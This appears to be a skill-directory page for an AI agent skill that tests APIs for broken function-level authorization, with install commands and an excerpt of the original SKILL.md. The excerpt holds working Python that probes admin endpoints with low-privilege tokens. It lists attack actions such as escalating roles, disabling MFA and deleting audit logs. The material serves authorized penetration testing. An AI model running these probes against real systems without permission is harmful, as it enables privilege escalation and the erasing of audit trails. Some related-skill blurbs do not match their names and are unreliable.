exploiting-broken-function-level-authorization
Lets your agent test APIs to see if regular users can access admin functions. It tries to reach protected endpoints with low-privilege credentials.
What it does
This tool checks if regular users can access restricted areas or functions of a website or application as if they were administrators. It attempts to bypass security rules to find vulnerabilities.
When to use it
- ✓When you want to ensure normal users cannot perform administrator actions.
- ✓When testing if API function access rules are working correctly.
- ✓To verify that API documentation does not reveal secret admin paths.
Example of what to ask your AI
“Check if a regular user can access the API's admin panel.”
Want more? Open the sections below.
How to use
The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.
Skill link
Ready-to-paste message
How it works
The tool tries to access paths and functions typically restricted to administrators. It does this by changing request methods, paths, or submitted data, using regular user credentials.
Installation
Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.
In the terminal (Claude Code, Codex, Cursor), in your project folder:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-broken-function-level-authorizationOr download just the file:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-broken-function-level-authorization/SKILL.md -o SKILL.mdTechnical content (original SKILL.md)
Original text by the author, straight from GitHub.
Exploiting Broken Function Level Authorization
When to Use
- Testing whether regular users can access administrative API endpoints by direct URL access
- Assessing APIs for vertical privilege escalation where users can invoke functions above their role
- Evaluating if API gateways and middleware consistently enforce function-level access controls
- Testing role-based access control (RBAC) implementation across all API endpoints and HTTP methods
- Validating that API documentation does not expose admin endpoint paths that lack authorization
Do not use without written authorization. BFLA testing involves attempting to execute administrative functions with unauthorized credentials.
Prerequisites
- Written authorization specifying target API and administrative functions in scope
- Test accounts at multiple privilege levels: regular user, moderator, admin, super-admin
- API documentation (OpenAPI/Swagger spec) that may list admin endpoints
- Burp Suite Professional for request interception and manipulation
- Python 3.10+ with
requestslibrary - Knowledge of common admin endpoint naming conventions
Workflow
Step 1: Administrative Endpoint Discovery
import requests
import itertools
BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}
# Common admin endpoint patterns
ADMIN_PATH_PATTERNS = [
"/api/v1/admin",
"/api/v1/admin/users",
"/api/v1/admin/settings",
"/api/v1/admin/config",
"/api/v1/admin/logs",
"/api/v1/admin/dashboard",
"/api/v1/admin/reports",
"/api/v1/admin/billing",
"/api/v1/manage",
"/api/v1/management",
"/api/v1/internal",
"/api/v1/internal/users",
"/api/v1/system",
"/api/v1/system/health",
"/api/v1/console",
"/api/v1/users/admin",
"/api/v1/roles",
"/api/v1/permissions",
"/api/v1/audit",
"/api/v1/audit/logs",
"/api/internal/",
"/admin/api/",
"/management/api/",
"/backoffice/api/",
]
# Administrative function patterns (POST/PUT/DELETE operations)
ADMIN_FUNCTIONS = [
("POST", "/api/v1/users", {"role": "admin"}), # Create user with admin role
("PUT", "/api/v1/users/1/role", {"role": "admin"}), # Change user role
("DELETE", "/api/v1/users/1002", None), # Delete another user
("POST", "/api/v1/settings", {"maintenance": True}), # Modify system settings
("GET", "/api/v1/users?role=admin", None), # List admin users
("POST", "/api/v1/export/users", None), # Export user data
("POST", "/api/v1/users/1002/disable", None), # Disable user account
("POST", "/api/v1/users/1002/reset-password", None), # Force password reset
("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security
("DELETE", "/api/v1/audit/logs", None), # Delete audit logs
]
# Phase 1: Discover accessible admin endpoints
print("Phase 1: Admin Endpoint Discovery")
for path in ADMIN_PATH_PATTERNS:
for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
try:
resp = requests.request(method, f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404, 405):
print(f" [ACCESSIBLE] {method} {path} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
Step 2: Role-Based Function Testing
# Define roles and their expected access levels
ROLES = {
"unauthenticated": {},
"regular_user": {"Authorization": "Bearer <regular_token>"},
"moderator": {"Authorization": "Bearer <moderator_token>"},
"admin": {"Authorization": "Bearer <admin_token>"},
}
# Endpoints with expected minimum role requirement
ROLE_MATRIX = [
# (method, endpoint, body, minimum_role)
("GET", "/api/v1/users/me", None, "regular_user"),
("GET", "/api/v1/users", None, "admin"),
("POST", "/api/v1/users", {"email":"x@y.com","name":"X","role":"user"}, "admin"),
("DELETE", "/api/v1/users/1002", None, "admin"),
("GET", "/api/v1/admin/settings", None, "admin"),
("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
("GET", "/api/v1/reports/financial", None, "admin"),
("POST", "/api/v1/users/1002/ban", None, "moderator"),
…
FAQ
What is 'Broken Function Level Authorization'?
It's a security flaw where a low-privilege user can perform actions or access data meant for users with higher privileges (like administrators).
Do I need permission to use this tool?
Yes, it's crucial to have written authorization before testing any API. Attempting to access administrative functions without permission is illegal.
What tools do I need to use it?
You'll need test accounts with different access levels (user, admin), API documentation (if available), and tools like Burp Suite and Python with the 'requests' library.
Details
Original description by the author
Tests APIs for Broken Function Level Authorization (OWASP API5:2023) by identifying admin and privileged endpoints, then reaching them with regular-user credentials via HTTP method switching, URL path manipulation, and parameter tampering. Use when testing whether low-privilege users can invoke admin API functions or otherwise escalate privileges via function-level access control gaps.
Popularity
- GitHub stars
- 35k
- Ranking position
- #5739
- License
- Apache-2.0
- Updated
- 8/31/2026
Comments
- …
More skills from this repository
abusing-dpapi-for-credential-access
Gives your AI agent ready-made instructions for a specific task, so it does it better and faster.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Teaches your AI agent to write clear, well-structured text.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Helps your agent prepare an environment for CMMC Level 2 compliance. It implements security requirements and manages necessary documentation.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Helps your agent create exact copies of hard drives. This is useful for ensuring no information is lost or altered during investigations.
mukul975/Anthropic-Cybersecurity-Skills
Similar skills
dashboard-builder
Helps your agent create useful monitoring dashboards. It turns data into charts that answer important system questions.
affaan-m/ECC
dev-team
Simulates a collaborative development team where different roles respond to a problem together. It's useful for getting multiple perspectives without manually switching agents.
affaan-m/ECC
ecc-council
Has your agent convene a four-voice council for difficult decisions. It's useful when there are multiple good options and debate is needed before choosing.
affaan-m/ECC